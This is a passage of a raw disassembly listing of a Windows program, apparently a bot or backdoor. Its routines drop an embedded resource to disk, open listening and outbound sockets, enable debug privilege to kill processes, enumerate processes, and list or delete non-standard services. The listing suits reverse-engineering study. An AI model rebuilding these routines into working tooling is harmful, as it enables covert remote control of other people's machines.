[esp+arg_0] dec eax jz short loc_41FBCB dec eax jz short loc_41FBB4 dec eax jnz short loc_41FBF1 mov ecx, dword_50DB38 mov dword_50DB1C, 4 call sub_401DE3 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBB4: ; CODE XREF: sub_41FB90+8j mov ecx, dword_50DB38 mov dword_50DB1C, 7 call sub_401028 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBCB: ; CODE XREF: sub_41FB90+5j mov ecx, dword_50DB38 xor eax, eax mov dword_50DB24, eax mov dword_50DB1C, 1 mov dword_50DB2C, eax mov dword_50DB30, eax call sub_40174E loc_41FBF1: ; CODE XREF: sub_41FB90+Bj ; sub_41FB90+22j ... mov eax, dword_50DB3C push offset dword_50DB18 push eax mov dword_50DB1C, 4 nop call near ptr 28E08B1h retn 4 sub_41FB90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44991F mov dword_50DB18, 20h mov dword_50DB1C, 2 mov dword_50DB20, 3 mov dword_50DB24, esi mov dword_50DB28, esi mov dword_50DB2C, esi mov dword_50DB30, esi call sub_4017EE push eax nop call near ptr 28E04E4h cmp eax, esi mov dword_50DB3C, eax jz short loc_41FCAA push offset dword_50DB18 push eax mov dword_50DB1C, 4 mov dword_50DB2C, esi mov dword_50DB30, esi call near ptr 28E08B1h nop loc_41FCAA: ; CODE XREF: ___:0041FC86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FCD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_41FCD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB38, ecx push 100h mov ecx, offset byte_44991F call sub_4017EE push eax lea eax, [esp+118h+var_100] push eax call near ptr 77C47A90h nop add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 28E0000h xor eax, eax add esp, 110h retn sub_41FD00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FD80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FDA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: ___:0041FD9Aj mov ecx, [esp+18h] push ecx call near ptr 2871D5Ch nop mov esi, eax test esi, esi jnz short loc_41FDB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: ___:0041FDB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 279068Fh mov edi, eax test edi, edi jnz short loc_41FDDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDDC: ; CODE XREF: ___:0041FDD4j push ebp push edi push esi call near ptr 27A0000h nop push edi push esi mov ebp, eax nop call near ptr 27A036Ah push ebp mov esi, eax call near ptr 27A05EAh nop push ebx push esi push 1 push eax call near ptr 77C4173Bh nop push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41FE78 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_41FE71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FE71: ; CODE XREF: sub_41FE50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FE78: ; CODE XREF: sub_41FE50+Fj pop esi retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FEAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEAE: ; CODE XREF: sub_41FE90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FF0A push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF0A: ; CODE XREF: sub_41FE90+69j mov eax, esi pop esi add esp, 10h retn sub_41FE90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FF6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF6E: ; CODE XREF: sub_41FF50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FFC0 push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FF50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420024 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420027 loc_420024: ; CODE XREF: sub_41FFF0+14j or eax, 0FFFFFFFFh loc_420027: ; CODE XREF: sub_41FFF0+32j pop esi add esp, 10h retn sub_41FFF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420040 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_420076 mov esi, [esp+8+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_420076 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420079 loc_420076: ; CODE XREF: sub_420040+8j ; sub_420040+1Aj or eax, 0FFFFFFFFh loc_420079: ; CODE XREF: sub_420040+34j pop edi pop esi retn sub_420040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_420090 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4200C3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: sub_420090+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42018D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_4200E5: ; CODE XREF: sub_420090+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420177 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420170 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h dd 500D75C0h, 6EE89056h, 0C6023703h, 1132444h ; --------------------------------------------------------------------------- loc_420170: ; CODE XREF: sub_420090+A2j push esi nop call near ptr 28309C5h loc_420177: ; CODE XREF: sub_420090+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_4200E5 pop edi pop esi pop ebp pop ebx loc_42018D: ; CODE XREF: sub_420090+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_420090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4201F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42036A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h nop call near ptr 2920000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 28D0000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444AE4 ; "\\" call near ptr 76085AE4h nop inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23C0936h, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42036A: ; CODE XREF: sub_4201F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4201F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420400 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F07EAh mov ebx, eax test ebx, ebx jnz short loc_420425 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420425: ; CODE XREF: sub_420400+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 2890ACFh mov esi, eax test esi, esi jnz short loc_420450 push ebx nop call near ptr 2900000h pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420450: ; CODE XREF: sub_420400+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420400 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call near ptr 2790494h nop push eax nop call near ptr 28B16EBh mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420520 lea ecx, [esp+38h+var_28] push ecx push 28h call near ptr 27904BEh nop push eax nop call near ptr 28C0000h test eax, eax jz short loc_42057F loc_420520: ; CODE XREF: sub_4204D0+36j cmp [esp+38h+var_28], esi jz short loc_420583 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28C01C0h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420578 nop call near ptr 27C0828h cmp eax, 514h jnz short loc_420583 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42057D ; --------------------------------------------------------------------------- loc_420578: ; CODE XREF: sub_4204D0+92j mov edx, [esp+38h+var_28] push edx loc_42057D: ; CODE XREF: sub_4204D0+A6j call edi loc_42057F: ; CODE XREF: sub_4204D0+4Ej mov [esp+38h+var_28], esi loc_420583: ; CODE XREF: sub_4204D0+54j ; sub_4204D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call near ptr 2700000h nop mov esi, eax test esi, esi jz short loc_4205A8 push 0 push esi nop call near ptr 27904D9h push esi mov bl, 1 call edi loc_4205A8: ; CODE XREF: sub_4204D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4205C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4205C7: ; CODE XREF: sub_4204D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4204D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420630 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420630 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2871D5Ch nop test eax, eax mov dword_50DB40, eax jnz short loc_42067C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27E0830h test eax, eax mov dword_50DB40, eax jz loc_4207FA loc_42067C: ; CODE XREF: sub_420630+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB44, eax mov eax, dword_50DB40 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB40 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB48, eax call esi mov ecx, dword_50DB44 mov dword_50DB4C, eax test ecx, ecx jz loc_4207FA mov edx, dword_50DB48 test edx, edx jz loc_4207FA test eax, eax jz loc_4207FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4207FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4207E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42073F: ; CODE XREF: sub_420630+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4207CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB48 test eax, eax jz short loc_4207C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB4C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4207C6: ; CODE XREF: sub_420630+136j push esi nop call near ptr 28309C5h loc_4207CD: ; CODE XREF: sub_420630+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42073F pop ebp pop ebx loc_4207E1: ; CODE XREF: sub_420630+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420630+46j ; sub_420630+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4208A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4208C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4208C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4208E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 28F07EAh mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42092F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42092F: ; CODE XREF: sub_4208E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44531C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_445304 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420C8F mov ebp, dword_511764 loc_420B6B: ; CODE XREF: sub_4208E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420B97 lea esi, [esp+524h+var_4E0] loc_420B78: ; CODE XREF: sub_4208E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420C73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420B78 loc_420B97: ; CODE XREF: sub_4208E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420BE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420BE3: ; CODE XREF: sub_4208E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28D0000h cmp eax, ebx jz short loc_420C1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_4208E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420C3A: ; CODE XREF: sub_4208E0+301j ; sub_4208E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420C73: ; CODE XREF: sub_4208E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add 